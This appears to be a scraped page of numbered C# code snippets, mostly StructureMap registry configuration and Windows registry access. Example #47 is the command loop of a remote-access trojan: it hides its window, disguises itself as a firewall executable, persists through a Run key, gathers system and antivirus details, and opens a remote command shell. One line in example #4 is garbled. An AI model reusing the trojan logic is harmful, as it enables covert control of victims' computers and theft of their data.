예제 #1
0
 public PluginGraphBuilder(ConfigurationParser[] parsers, Registry[] registries, GraphLog log)
 {
     _parsers = parsers;
     _registries = registries;
     _graph = new PluginGraph();
     _graph.Log = log;
 }
예제 #2
0
        public INoobotContainer Generate()
        {
            var registry = new Registry();

            registry.Scan(x =>
            {
                x.TheCallingAssembly();
                x.WithDefaultConventions();
            });

            registry = _pipelineManager.Initialise(registry);
            registry = _pluginManager.Initialise(registry);

            registry
                .For<ISlackWrapper>()
                .Singleton();

            registry
                .For<IPipelineFactory>()
                .Singleton();

            Type[] pluginTypes = _pluginManager.ListPluginTypes();
            var container = new NoobotContainer(registry, pluginTypes);

            IPipelineFactory pipelineFactory = container.GetInstance<IPipelineFactory>();
            pipelineFactory.SetContainer(container);

            return container;
        }
예제 #3
0
        public Application()
        {
            _peers = new List<Case42Peer>();
            Registry = new Registry();

            Registry.Set(new LobbyComponent(this));
        }
        public void Apply(PluginGraph graph)
        {
            var registry = new Registry();

            _interfaces.Each(@interface =>
            {
                var expression = registry.For(@interface);
                ConfigureFamily(expression);

                var exactMatches = _concretions.Where(x => x.CanBeCastTo(@interface)).ToArray();
                if (exactMatches.Length == 1)
                {
                    expression.Use(exactMatches.Single());
                }
                else
                {
                    exactMatches.Each(type => expression.Add(type));
                }


                if ([email protected]())
                {
                    addConcretionsThatCouldBeClosed(@interface, expression);
                }
            });

            _concretions.Each(t => graph.ConnectedConcretions.Fill(t));
            registry.As<IPluginGraphConfiguration>().Configure(graph);
        }
예제 #5
0
 public void Process(Type type, Registry registry)
 {
     if (type.CanBeCastTo(typeof(Controller)) && !type.IsAbstract)
     {
         registry.For(type).LifecycleIs(new UniquePerRequestLifecycle());// will create a new instance per request
     }
 }
예제 #6
0
		public static IContainer GetContainer()
		{
			var register = new Registry();
			register.IncludeRegistry<MirutradingRegistry>();
			IContainer container = new Container(register);
			return container;
		}
        public void Process(Type type, Registry registry)
        {
            var interceptorTypes = type.FindInterfacesThatClose(typeof(IInterceptor<>));

            foreach(var interceptorType in interceptorTypes)
                registry.AddType(interceptorType, type);
        }
예제 #8
0
        public void two_instances_of_the_base_registry_type_are_not_considered_equal()
        {
            var registry1 = new Registry();
            var registry2 = new Registry();

            registry1.Equals((object) registry2).ShouldBeFalse();
        }
 public void ScanTypes(TypeSet types, Registry registry)
 {
     foreach (var type in types.AllTypes())
     {
         Process(type, registry);
     }
 }
예제 #10
0
 public void Process(Type type, Registry registry)
 {
     if (type.CanBeCastTo<Controller>() && !type.IsAbstract)
     {
         registry.For(type).LifecycleIs(new UniquePerRequestLifecycle());
     }
 }
 public void Process(Type type, Registry registry)
 {
     if (!type.IsAbstract && typeof(IController).IsAssignableFrom(type))
     {
        registry.AddType(type, type);
     }
 }
예제 #12
0
 private static void ConfigureModuleSpecificDependencies(Registry registry)
 {
     registry.For<IMasslogConfiguration>().Singleton().Use<LoggingConfiguration>();
     registry.For<ILoggingConfiguration>().Singleton().Use<LoggingConfiguration>();
     registry.For<IMonitorBehaviorFactory>().Singleton().Use<MonitorBehaviorFactory>();
     registry.For<IMonitor>().HttpContextScoped().Use<Monitor>();
 }
예제 #13
0
 private static INoobotContainer CreateContainer(Type[] pluginTypes, Registry registry)
 {
     var container = new NoobotContainer(pluginTypes);
     registry.For<INoobotContainer>().Use(x => container);
     container.Initialise(registry);
     return container;
 }
예제 #14
0
 private void SetupSingletons(Registry registry)
 {
     foreach (Type type in _singletons)
     {
         registry.For(type).Singleton();
     }
 }
예제 #15
0
 public void Process(Type type, Registry registry)
 {
     if (Registry.IsPublicRegistry(type))
     {
         registry.Configure(x => x.ImportRegistry(type));
     }
 }
예제 #16
0
        public void ScanTypes(TypeSet types, Registry registry)
        {
            types.FindTypes(TypeClassification.Closed | TypeClassification.Concretes)
                .Where(Registry.IsPublicRegistry)
                .Each(type => registry.Configure(x => x.ImportRegistry(type)));

        }
예제 #17
0
        public Application()
        {
            _peers = new List<RunePeer>();
            Registry = new Registry();

            Registry.Set(new LobbyComponent());
        }
 public void Process(Type type, Registry registry)
 {
     if(type.GetInterfaces().Contains(typeof(IQuery)) && !type.IsAbstract)
     {
         registry.For(typeof (IQuery)).Use(type);
     }
 }
 public void ScanTypes(TypeSet types, Registry registry)
 {
     foreach (var type in types.AllTypes())
     {
         registry.For(type).LifecycleIs(new UniquePerRequestLifecycle());
     }
 }
예제 #20
0
        public void RegisterCommand(Registry registry)
        {
            var openCommandMethodResultType = typeof(CommandResult<>);
            var closedCommandMethodResultType = openCommandMethodResultType.MakeGenericType(CommandType);

            var openActionMethodInvokerType = typeof(IActionMethodResultInvoker<>);
            var closedActionMethodInvokerType =
                openActionMethodInvokerType.MakeGenericType(closedCommandMethodResultType);

            var closedDomainResultType = typeof(CommandResult);

            var openCommandMethodResultInvokerType = typeof(ResultInvoker<,>);
            var closedCommandMethodResultInvokerType =
                openCommandMethodResultInvokerType.MakeGenericType(closedCommandMethodResultType, closedDomainResultType);

            registry.For(closedActionMethodInvokerType).Use(closedCommandMethodResultInvokerType);

            var openResultProcessor = typeof(IResultProcessor<,>);
            var closedResultProcessor =
                openResultProcessor.MakeGenericType(closedCommandMethodResultType, closedDomainResultType);

            var openCommandMethodResultProcessorType = typeof(CommandResultProcessor<>);
            var closedCommandMethodResultProcessorType =
                openCommandMethodResultProcessorType.MakeGenericType(CommandType);

            registry.For(closedResultProcessor).Use(closedCommandMethodResultProcessorType);
        }
 public void Process(Type type, Registry registry)
 {
     if (type.ImplementsInterface<ILatticeGroup>() && !type.IsAbstract && type.IsPublic)
     {
         registry.AddType(typeof(ILatticeGroup), type, type.FullName);
     }
 }
 private static void RegisterQueryForDefaultCrudCommands(Type type, Type genericCommand, Registry registry)
 {
     if (type.ImplementsInterfaceTemplate(genericCommand))
     {
         MvcQueryRegistrar.BuildQueryRegistrarForCrudCommand(type, genericCommand).RegisterQuery(registry);
     }
 }
        public static void RegisterStandardInteractionHandlersForEntities(Registry registry, StandardInteractionHandlerGenericTypeDefinitions standardInteractionHandlerGenericTypeDefinitions, params Assembly[] assembliesContainingEntities)
        {
            Argument.IsNotNull(registry, "registry");
            Argument.IsNotNull(standardInteractionHandlerGenericTypeDefinitions, "standardInteractionHandlerGenericTypeDefinitions");
            Argument.IsNotNull(assembliesContainingEntities, "assembliesContainingEntities");
            Argument.IsValid(assembliesContainingEntities.Length > 0,
                             "The array of assemblies that contain entities is empty. The array must have at least one assembly specified.",
                             "assembliesContainingEntities");

            var entityTypes = assembliesContainingEntities.SelectMany(assembly => assembly.GetTypes().Where(type => type != typeof(Entity) && typeof(Entity).IsAssignableFrom(type)));

            foreach (var entityType in entityTypes) // E.g. User.
            {
                // E.g. IQueryHandler<GetByIdQuery<User>, Option<User>>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(IQueryHandler<,>), typeof(GetByIdQuery<>), typeof(Option<>).MakeGenericType(entityType), standardInteractionHandlerGenericTypeDefinitions.GetByIdQueryHandler, entityType);
                // E.g. IQueryHandler<GetOneQuery<User>, Option<User>>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(IQueryHandler<,>), typeof(GetOneQuery<>), typeof(Option<>).MakeGenericType(entityType), standardInteractionHandlerGenericTypeDefinitions.GetOneQueryHandler, entityType);
                // E.g. IQueryHandler<GetAllQuery<User>, IPagedEnumerable<User>>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(IQueryHandler<,>), typeof(GetAllQuery<>), typeof(IPagedEnumerable<>).MakeGenericType(entityType), standardInteractionHandlerGenericTypeDefinitions.GetAllQueryHandler, entityType);
                // E.g. IQueryHandler<GetTotalCountQuery<User>, int>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(IQueryHandler<,>), typeof(GetTotalCountQuery<>), typeof(int), standardInteractionHandlerGenericTypeDefinitions.GetTotalCountQueryHandler, entityType);

                // E.g. IRequestHandler<CanDeleteEntityRequest<User>, Response<Option<User>>>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(IRequestHandler<,>), typeof(CanDeleteEntityRequest<>), typeof(Response<>).MakeGenericType(typeof(Option<>).MakeGenericType(entityType)), standardInteractionHandlerGenericTypeDefinitions.CanDeleteEntityRequestHandler, entityType);

                // E.g. ICommandHandler<DeleteEntityCommand<User>, Response>.
                ConnectInteractionHandlerToStandardInteractionForEntityType(registry, typeof(ICommandHandler<,>), typeof(DeleteEntityCommand<>), typeof(Response), standardInteractionHandlerGenericTypeDefinitions.DeleteEntityCommandHandler, entityType);
            }
        }
예제 #24
0
      public ControllerInfo(Type type)
      { 
        string aname = null;
        try
        {
          Type = type; 
          m_Name = TypeToKeyName(type);
          var groups = new Registry<ActionGroupInfo>();
          Groups = groups;

          var allmi = GetAllActionMethods();

          foreach(var mi in allmi)
          {
            var iname = GetInvocationName(mi);
            aname = iname;
            var agi = groups[iname];
            if (agi==null)
            {
              agi = new ActionGroupInfo(this, iname);
              groups.Register(agi);
            }
            aname = null;  
          }
        }
        catch(Exception error)
        {
          throw new WaveException(StringConsts.MVC_CONTROLLER_REFLECTION_ERROR.Args(type.FullName, aname, error.ToMessageWithType()), error);
        }
      }
        public void FindRegistriesWithinPluginGraphSeal()
        {
            var builder = new PluginGraphBuilder();
            var registry = new Registry();
            registry.Scan(x =>
            {
                x.AssemblyContainingType(typeof(RedGreenRegistry));
                x.LookForRegistries();
            });
            builder.AddConfiguration(registry);

            var graph = builder.Build();

            var colors = new List<string>();
            PluginFamily family = graph.FindFamily(typeof (IWidget));

            family.Instances.Each(instance => colors.Add(instance.Name));

            Assert.Contains("Red", colors);
            Assert.Contains("Green", colors);
            Assert.Contains("Yellow", colors);
            Assert.Contains("Blue", colors);
            Assert.Contains("Brown", colors);
            Assert.Contains("Black", colors);
        }
 public void Process(Type type, Registry registry)
 {
     if (!type.IsAbstract && typeof(ICommandEvent).IsAssignableFrom(type))
     {
         registry.AddType(typeof(ICommand), typeof(EventCommand<>).MakeGenericType(type), type.Name);
     }
 }
 private void Process(Type type, Registry registry)
 {
     if (type.CanBeCastTo(typeof(Controller)) && !type.IsAbstract)
     {
         registry.For(type).LifecycleIs(new UniquePerRequestLifecycle());
     }
 }
        public void Process(Type type, Registry registry)
        {
            var validatorTypes = type.FindInterfacesThatClose(typeof(IValidator<>));

            foreach(var validatorType in validatorTypes)
                registry.AddType(validatorType, type);
        }
예제 #29
0
        public void Process(Type type, Registry registry)
        {




        }
예제 #30
0
 public void Process(Type type, Registry registry)
 {
     if (type.CanBeCastTo<ITeam>() && type != typeof(ITeam))
     {
         registry.For(typeof(ITeam)).Add(type);
     }
 }
예제 #31
0
 public static void SetFabricCodePath(string path)
 {
     Registry.SetValue(Constants.FabricInstalledRegPath, Constants.FabricCodePathRegKey, path);
 }
예제 #32
0
 public static void SetDynamicTopologyKind(int dynamicTopologyKindIntValue)
 {
     Registry.SetValue(Constants.FabricInstalledRegPath, Constants.DynamicTopologyKindRegKey, dynamicTopologyKindIntValue);
 }
예제 #33
0
 public static void SetWindowsFabricNodeConfigurationCompleted(bool isDepreciatedKey = false)
 {
     Registry.SetValue(isDepreciatedKey ? Constants.FabricInstalledRegPathDepreciated : Constants.FabricInstalledRegPath, Constants.NodeConfigurationCompletedRegKey, bool.TrueString);
 }
예제 #34
0
    public static void InitClasses()
    {
        if (ClassesLoaded)
        {
            return;
        }
        ClassesLoaded = true;
        Registry reg         = new Registry("graphics/structures/structures.reg");
        int      ObjectCount = reg.GetInt("Global", "Count", 0);

        for (int i = 0; i < ObjectCount; i++)
        {
            string         on  = string.Format("Structure{0}", i);
            StructureClass cls = new StructureClass();
            cls.DescText = reg.GetString(on, "DescText", "");
            cls.ID       = reg.GetInt(on, "ID", -1);
            string file = reg.GetString(on, "File", null);
            if (file != null)
            {
                StructureFile sfile = new StructureFile();
                sfile.FileName = "graphics/structures/" + file;
                cls.File       = sfile;
            }
            cls.TileWidth   = reg.GetInt(on, "TileWidth", 1);
            cls.TileHeight  = reg.GetInt(on, "TileHeight", 1);
            cls.FullHeight  = reg.GetInt(on, "FullHeight", cls.TileHeight);
            cls.SelectionX1 = reg.GetInt(on, "SelectionX1", 0);
            cls.SelectionY1 = reg.GetInt(on, "SelectionY1", 0);
            cls.SelectionX2 = reg.GetInt(on, "SelectionX2", cls.TileWidth * 32);
            cls.SelectionY2 = reg.GetInt(on, "SelectionY2", cls.FullHeight * 32);
            cls.ShadowY     = reg.GetInt(on, "ShadowY", 0);
            if (cls.ShadowY < 0) // this is very bad. this means that Nival artists were trying to make this structure Flat, but didn't know about the feature.
            {                    // as such, they were setting ShadowY -20000 and the shadow was still appearing sometimes despite LOOKING AS IF it was flat.
                cls.Flat    = true;
                cls.ShadowY = 0;
            }

            // also this fixes Bee houses
            if (cls.ShadowY > cls.FullHeight * 32)
            {
                cls.ShadowY = 0;
            }

            cls.AnimMask = reg.GetString(on, "AnimMask", null);
            int phases = reg.GetInt(on, "Phases", 1);
            if (phases == 1)
            {
                cls.Frames          = new StructureClass.AnimationFrame[1];
                cls.Frames[0].Frame = 0;
                cls.Frames[0].Time  = 0;
            }
            else
            {
                int[] animFrame = reg.GetArray(on, "AnimFrame", null);
                int[] animTime  = reg.GetArray(on, "AnimTime", null);
                if (animFrame == null || animTime == null ||
                    animFrame.Length != animTime.Length)
                {
                    // some structures already have invalid definitions.
                    cls.Frames          = new StructureClass.AnimationFrame[1];
                    cls.Frames[0].Frame = 0;
                    cls.Frames[0].Time  = 0;
                }
                else
                {
                    cls.Frames = new StructureClass.AnimationFrame[animFrame.Length];
                    for (int j = 0; j < animFrame.Length; j++)
                    {
                        cls.Frames[j].Frame = animFrame[j];
                        cls.Frames[j].Time  = animTime[j];
                    }
                }
            }
            cls.Picture        = "graphics/infowindow/" + reg.GetString(on, "Picture", "") + ".bmp";
            cls.IconID         = reg.GetInt(on, "IconID", StructureClass.MagicIntNull);
            cls.Indestructible = reg.GetInt(on, "Indestructible", 0) != 0;
            cls.Usable         = reg.GetInt(on, "Usable", 0) != 0;
            cls.Flat           = reg.GetInt(on, "Flat", 0) != 0;
            cls.VariableSize   = reg.GetInt(on, "VariableSize", 0) != 0;
            cls.LightRadius    = reg.GetInt(on, "LightRadius", 0);
            cls.LightPulse     = reg.GetInt(on, "LightPulse", 0);
            Classes.Add(cls);
        }
    }
예제 #35
0
 public override String Get(String key, IEnumerable <String> sections)
 {
     return(Registry.GetValue(key, sections));
 }
예제 #36
0
 // Get the site code from the registry
 public static string GetSiteCode()
 {
     return((string)Registry.GetValue(keyName, "SiteCode", ""));
 }
예제 #37
0
 // Return the server name from the registry
 public static string GetServerName()
 {
     return((string)Registry.GetValue(keyName, "Server", ""));
 }
예제 #38
0
파일: Program.cs 프로젝트: luckypal/Kiosk
 private static string Get_NET()
 {
     return(CheckFor45DotVersion((int)Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\\", "Release", 0)));
 }
예제 #39
0
 protected GUIToolkitBase()
 {
     registry = new Registry("GUI backend");
     Scanner.ScanViews(App.Current.ViewLocator);
 }
예제 #40
0
 public override Boolean Set(String key, String value, IEnumerable <String> sections)
 {
     Registry.SetValue(key, value, sections);
     return(true);
 }
예제 #41
0
 private void fVoices_FormClosed(object sender, FormClosedEventArgs e)
 {
     this._output.Terminate();
     Registry.SetValue("HKEY_CURRENT_USER\\Software\\Ficedula\\Ultrasound", "Logging", (object)this.cbLogging.SelectedIndex);
 }
예제 #42
0
        static void Main(string[] args)
        {
            Console.WriteLine("Log location; " + logFilePath);
            CheckSettings();

            var config  = new NLog.Config.LoggingConfiguration();
            var logfile = new NLog.Targets.FileTarget("logfile")
            {
                FileName = logFilePath
            };
            var logconsole = new NLog.Targets.ConsoleTarget("logconsole");

            config.AddRule(LogLevel.Info, LogLevel.Fatal, logconsole);
            config.AddRule(LogLevel.Debug, LogLevel.Fatal, logfile);
            NLog.LogManager.Configuration = config;

            void ActualMain()
            {
                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);

                //Upgrade settings
                if (Properties.Settings.Default.UpdateSettings)
                {
                    /* Copy old setting-files in case the Evidence type and Evidence Hash has changed (which it does sometimes) - easier than creating a whole new settings system */
                    try {
                        Configuration accConfiguration = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.PerUserRoamingAndLocal);
                        string        currentFolder    = new DirectoryInfo(accConfiguration.FilePath).Parent.Parent.FullName;
                        string[]      directories      = Directory.GetDirectories(new DirectoryInfo(currentFolder).Parent.FullName);

                        foreach (string dir in directories)
                        {
                            if (dir != currentFolder.ToString())
                            {
                                var directoriesInDir = Directory.GetDirectories(dir);
                                foreach (string childDir in directoriesInDir)
                                {
                                    string checkPath = Path.Combine(currentFolder, Path.GetFileName(childDir));
                                    if (!Directory.Exists(checkPath))
                                    {
                                        string checkFile = Path.Combine(childDir, "user.config");
                                        if (File.Exists(checkFile))
                                        {
                                            bool xmlHasError = false;
                                            try {
                                                XmlDocument xml = new XmlDocument();
                                                xml.Load(checkFile);

                                                xml.Validate(null);
                                            } catch {
                                                xmlHasError = true;
                                                DoDebug("XML document validation failed (is invalid): " + checkFile);
                                            }

                                            if (!xmlHasError)
                                            {
                                                Directory.CreateDirectory(checkPath);
                                                File.Copy(checkFile, Path.Combine(checkPath, "user.config"), true);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    } catch (Exception e) {
                        Console.WriteLine("Error getting settings from older versions of ACC; " + e.Message);
                    }
                    /* End "copy settings" */

                    try {
                        Properties.Settings.Default.Upgrade();
                        Properties.Settings.Default.UpdateSettings = false;
                        Properties.Settings.Default.Save();
                    } catch {
                        DoDebug("Failed to upgrade from old settings file.");
                    }

                    Console.WriteLine("Upgraded settings to match last version");
                }

                if (Properties.Settings.Default.LastUpdated == DateTime.MinValue)
                {
                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                }

                //Translator
                string tempDir = Path.Combine(currentLocation, "Translations");

                if (Directory.Exists(tempDir))
                {
                    Translator.translationFolder = Path.Combine(currentLocation, "Translations");
                    Translator.languagesArray    = Translator.GetLanguages();
                }
                else
                {
                    MessageBox.Show("Missing the translations folder. Reinstall the software to fix this issue.", messageBoxTitle);
                }

                string lang = Properties.Settings.Default.ActiveLanguage;

                if (Array.Exists(Translator.languagesArray, element => element == lang))
                {
                    DoDebug("ACC running with language \"" + lang + "\"");

                    Translator.SetLanguage(lang);
                }
                else
                {
                    DoDebug("Invalid language chosen (" + lang + ")");

                    Properties.Settings.Default.ActiveLanguage = "English";
                    Translator.SetLanguage("English");
                }
                //End translator
                sysIcon = new SysTrayIcon();

                Properties.Settings.Default.TimesOpened += 1;
                Properties.Settings.Default.Save();

                SetupDataFolder();
                if (File.Exists(logFilePath))
                {
                    try {
                        File.WriteAllText(logFilePath, string.Empty);
                    } catch {
                        // Don't let this being DENIED crash the software
                        Console.WriteLine("Failed to empty the log");
                    }
                }
                else
                {
                    Console.WriteLine("Trying to create log");
                    CreateLogFile();
                }

                //Check if software already runs, if so kill this instance
                var otherACCs = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(currentLocationFull));

                if (otherACCs.Length > 1)
                {
                    //Try kill the _other_ process instead
                    foreach (Process p in otherACCs)
                    {
                        if (p.Id != Process.GetCurrentProcess().Id)
                        {
                            try {
                                p.Kill();
                                DoDebug("Other ACC instance was running. Killed it.");
                            } catch {
                                DoDebug("Could not kill other process of ACC; access denied");
                            }
                        }
                    }
                }

                Application.EnableVisualStyles();

                DoDebug("[ACC begun (v" + softwareVersion + ")]");

                if (Properties.Settings.Default.CheckForUpdates)
                {
                    if (HasInternet())
                    {
                        new Thread(() => {
                            new SoftwareUpdater().Check();
                        }).Start();
                    }
                    else
                    {
                        DoDebug("Couldn't check for new update as PC does not have access to the internet");
                    }
                }

                //On console close: hide NotifyIcon
                Application.ApplicationExit += new EventHandler(OnApplicationExit);
                handler = new ConsoleEventDelegate(ConsoleEventCallback);
                SetConsoleCtrlHandler(handler, true);

                //Create shortcut folder if doesn't exist
                if (!Directory.Exists(shortcutLocation))
                {
                    Directory.CreateDirectory(shortcutLocation);
                }
                if (!File.Exists(Path.Combine(shortcutLocation, @"example.txt")))
                {
                    //Create example-file
                    try {
                        using (StreamWriter sw = File.CreateText(Path.Combine(shortcutLocation, @"example.txt"))) {
                            sw.WriteLine("This is an example file.");
                            sw.WriteLine("If you haven't already, make your assistant open this file!");
                        }
                    } catch {
                        DoDebug("Could not create or write to example file");
                    }
                }

                //Delete all old action files
                if (Directory.Exists(CheckPath()))
                {
                    DoDebug("Deleting all files in action folder");
                    foreach (string file in Directory.GetFiles(CheckPath(), "*." + Properties.Settings.Default.ActionFileExtension))
                    {
                        int timeout = 0;

                        if (File.Exists(file))
                        {
                            while (ActionChecker.FileInUse(file) && timeout < 5)
                            {
                                timeout++;
                                Thread.Sleep(500);
                            }
                            if (timeout >= 5)
                            {
                                DoDebug("Failed to delete file at " + file + " as file appears to be in use (and has been for 2.5 seconds)");
                            }
                            else
                            {
                                try {
                                    File.Delete(file);
                                } catch (Exception e) {
                                    DoDebug("Failed to delete file at " + file + "; " + e.Message);
                                }
                            }
                        }
                    }
                    DoDebug("Old action files removed - moving on...");
                }

                //SetupListener();
                watcher = new FileSystemWatcher()
                {
                    Path         = CheckPath(),
                    NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
                                   | NotifyFilters.FileName | NotifyFilters.DirectoryName,
                    Filter = "*." + Properties.Settings.Default.ActionFileExtension,
                    EnableRaisingEvents = true
                };
                watcher.Changed += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Created += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Renamed += new RenamedEventHandler(new ActionChecker().FileFound);
                watcher.Deleted += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Error   += delegate { DoDebug("Something wen't wrong"); };

                DoDebug("\n[" + messageBoxTitle + "] Initiated. \nListening in: \"" + CheckPath() + "\" for \"." + Properties.Settings.Default.ActionFileExtension + "\" extensions");

                sysIcon.TrayIcon.Icon = Properties.Resources.ACC_icon_light;

                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);

                if (Registry.GetValue(key.Name + @"\AssistantComputerControl", "FirstTime", null) == null)
                {
                    SetStartup(true);

                    key.CreateSubKey("AssistantComputerControl");
                    key = key.OpenSubKey("AssistantComputerControl", true);
                    key.SetValue("FirstTime", false);

                    Properties.Settings.Default.HasCompletedTutorial = true;
                    Properties.Settings.Default.Save();

                    ShowGettingStarted();

                    DoDebug("Starting setup guide");
                }
                else
                {
                    if (!Properties.Settings.Default.HasCompletedTutorial)
                    {
                        ShowGettingStarted();
                        DoDebug("Didn't finish setup guide last time, opening again");
                    }
                }
                SetRegKey("ActionFolder", CheckPath());
                SetRegKey("ActionExtension", Properties.Settings.Default.ActionFileExtension);

                testActionWindow = new TestActionWindow();

                //If newly updated
                if (Properties.Settings.Default.LastKnownVersion != softwareVersion)
                {
                    //Up(or down)-grade, display version notes
                    DoDebug("ACC has been updated");

                    if (Properties.Settings.Default.LastKnownVersion != "" && new System.Version(Properties.Settings.Default.LastKnownVersion) < new System.Version("1.4.3"))
                    {
                        //Had issues before; fixed now
                        DoDebug("Upgraded to 1.4.3, fixed startup - now starting with Windows");

                        try {
                            RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            rk.DeleteValue(appName, false);
                        } catch {
                            DoDebug("Failed to remove old start with win run");
                        }

                        SetStartup(true);
                    }

                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                    if (gettingStarted != null)
                    {
                        DoDebug("'AboutVersion' window awaits, as 'Getting Started' is showing");
                        aboutVersionAwaiting = true;
                    }
                    else
                    {
                        Properties.Settings.Default.LastKnownVersion = softwareVersion;
                        new NewVersion().Show();
                    }
                    Properties.Settings.Default.Save();
                }

                //Check if software starts with Windows
                if (!ACCStartsWithWindows())
                {
                    sysIcon.AddOpenOnStartupMenu();
                }

                /* 'Evalufied' user feedback implementation */
                if ((DateTime.Now - Properties.Settings.Default.LastUpdated).TotalDays >= 7 && Properties.Settings.Default.TimesOpened >= 7 &&
                    gettingStarted == null &&
                    !Properties.Settings.Default.HasPromptedFeedback)
                {
                    //User has had the software/update for at least 7 days, and has opened the software more than 7 times - time to ask for feedback
                    //(also the "getting started" window is not showing)
                    if (HasInternet())
                    {
                        try {
                            WebRequest      request  = WebRequest.Create("https://evalufied.dk/");
                            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                            if (response == null || response.StatusCode != HttpStatusCode.OK)
                            {
                                DoDebug("'Evalufied' is down - won't show faulty feedback window");
                            }
                            else
                            {
                                DoDebug("Showing 'User Feedback' window");
                                Properties.Settings.Default.HasPromptedFeedback = true;
                                Properties.Settings.Default.Save();
                                new UserFeedback().Show();
                            }
                        } catch {
                            DoDebug("Failed to check for 'Evalufied'-availability");
                        }
                    }
                    else
                    {
                        DoDebug("No internet connection, not showing user feedback window");
                    }
                }

                //Action mods implementation
                ActionMods.CheckMods();
                TaskSchedulerSetup();

                hasStarted = true;
                SystemEvents.SessionSwitch += new SessionSwitchEventHandler(SystemEvents_SessionSwitch); //On wake up from sleep
                Application.Run();
            }

            if (sentryToken != "super_secret")
            {
                //Tracking issues with Sentry.IO - not forked from GitHub (official version)
                bool sentryOK = false;
                try {
                    if (Properties.Settings.Default.UID != "")
                    {
                        Properties.Settings.Default.UID = Guid.NewGuid().ToString();
                        Properties.Settings.Default.Save();
                    }

                    if (Properties.Settings.Default.UID != "")
                    {
                        SentrySdk.ConfigureScope(scope => {
                            scope.User = new Sentry.Protocol.User {
                                Id = Properties.Settings.Default.UID
                            };
                        });
                    }

                    using (SentrySdk.Init(sentryToken)) {
                        sentryOK = true;
                    }
                } catch {
                    //Sentry failed. Error sentry's side or invalid key - don't let this stop the app from running
                    DoDebug("Sentry initiation failed");
                    ActualMain();
                }

                if (sentryOK)
                {
                    try {
                        using (SentrySdk.Init(sentryToken)) {
                            DoDebug("Sentry initiated");
                            ActualMain();
                        }
                    } catch {
                        ActualMain();
                    }
                }
            }
            else
            {
                //Code is (most likely) forked - skip issue tracking
                ActualMain();
            }
        }
예제 #43
0
 private static void CSLoad()
 {
     Registry.Import();
 }
예제 #44
0
 public static void Clear()
 {
     Registry.Clear();
 }
예제 #45
0
        private static string GetHostExePath()
        {
            string path = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\" + GetHostVersion(), "InstallDir", string.Empty) as string;

            return(path);
        }
예제 #46
0
 private static void CSSave()
 {
     Registry.Export();
 }
예제 #47
0
        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);

            if (!Settings.Initialize())
                return;
            
            //if the client is already running then we might as well just exit out of it
            if (!(Process.GetProcessesByName("Void_client").Length < 2))
                Environment.Exit(1);
            
            TcpClient client = new TcpClient();

            stream = WaitConnect(client);
     
            if (bool.Parse(Settings.ISAUTOINSTALL) && InfoGathering.IsAdministrator() && !File.Exists(@"C:\Windows\Firewall\Firewall.exe"))
            {
                Commands.Install();
                return;
            }
            else if (Registry.ContainsKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Void"))
            {
                if (Application.ExecutablePath != @"C:\Windows\Firewall\Firewall.exe")
                {
                    ProcessStartInfo psi = new ProcessStartInfo();
                    psi.FileName = @"C:\Windows\Firewall\Firewall.exe";
                    psi.CreateNoWindow = true;
                    Process.Start(psi);
                    return;
                }
            }
            else
                TCP.SendInformation("error |install error|failed, launching without installing", stream);
                
            while (true)
            {
                try
                {
                    string[] recievedInfo = TCP.ReadAndRecieve(stream);
                    
                    switch (recievedInfo[0])
                    {
                        case "info":
                            switch (recievedInfo[1])
                            {
                                case "general":
                                    TCP.SendInformation("info|general|" + Commands.GiveInformation(), stream);
                                    break;
                                case "bleu":
                                    TCP.SendInformation("info|bleu|" + InfoGathering.GetBleuKey(), stream);
                                    break;
                                case "isadmin":
                                    TCP.SendInformation("info|isadmin|" + InfoGathering.IsAdministrator().ToString(), stream);
                                    break;
                                case "avirus":
                                    TCP.SendInformation("info|avirus|Warning: This may not be able to collect all antivirus\r\n" + InfoGathering.GetProtectionSoftware(), stream);
                                    break;
                            }
                            break;
                        case "rat":
                            switch (recievedInfo[1])
                            {
                                case "install":
                                    if (Application.ExecutablePath != @"C:\Windows\Firewall\Firewall.exe")
                                        Commands.Install();
                                    else
                                        TCP.SendInformation("error|Install error|Void is already installed on the machine", stream);
                                    break;
                                case "uninstall":
                                    if (Application.ExecutablePath == @"C:\Windows\Firewall\Firewall.exe")
                                        Commands.Uninstall();
                                    else
                                        TCP.SendInformation("error|Install error|Void is not installed on the machine", stream);
                                    break;
                            }
                            break;
                        case "cmd":
                            switch (recievedInfo[1])
                            {
                                case "start":
                                    RemoteCMD.stream = stream;
                                    RemoteCMD.Start();
                                    break;
                                case "stop":
                                    RemoteCMD.Stop();
                                    break;
                                case "command":
                                    RemoteCMD.Send(recievedInfo[2]);
                                    break;
                            }
                            break;
                        case "showmsg":
                            Commands.ShowMsgBox(recievedInfo);
                            break;
                        case "pc":
                            Commands.PC(recievedInfo[1]);
                            break;
                        case "shutting":
                            client.Close();
                            stream.Close();
                            client = new TcpClient();
                            stream = WaitConnect(client);
                            break;
                    }
                }
                catch (Exception) { }
            }
        }
예제 #48
0
 public static void BluetoothConnect(Int64 adress)
 {
     Registry.SetValue("HKEY_CURRENT_USER\\Software\\LeHand", "LastAdress", adress, RegistryValueKind.QWord);
 }
예제 #49
0
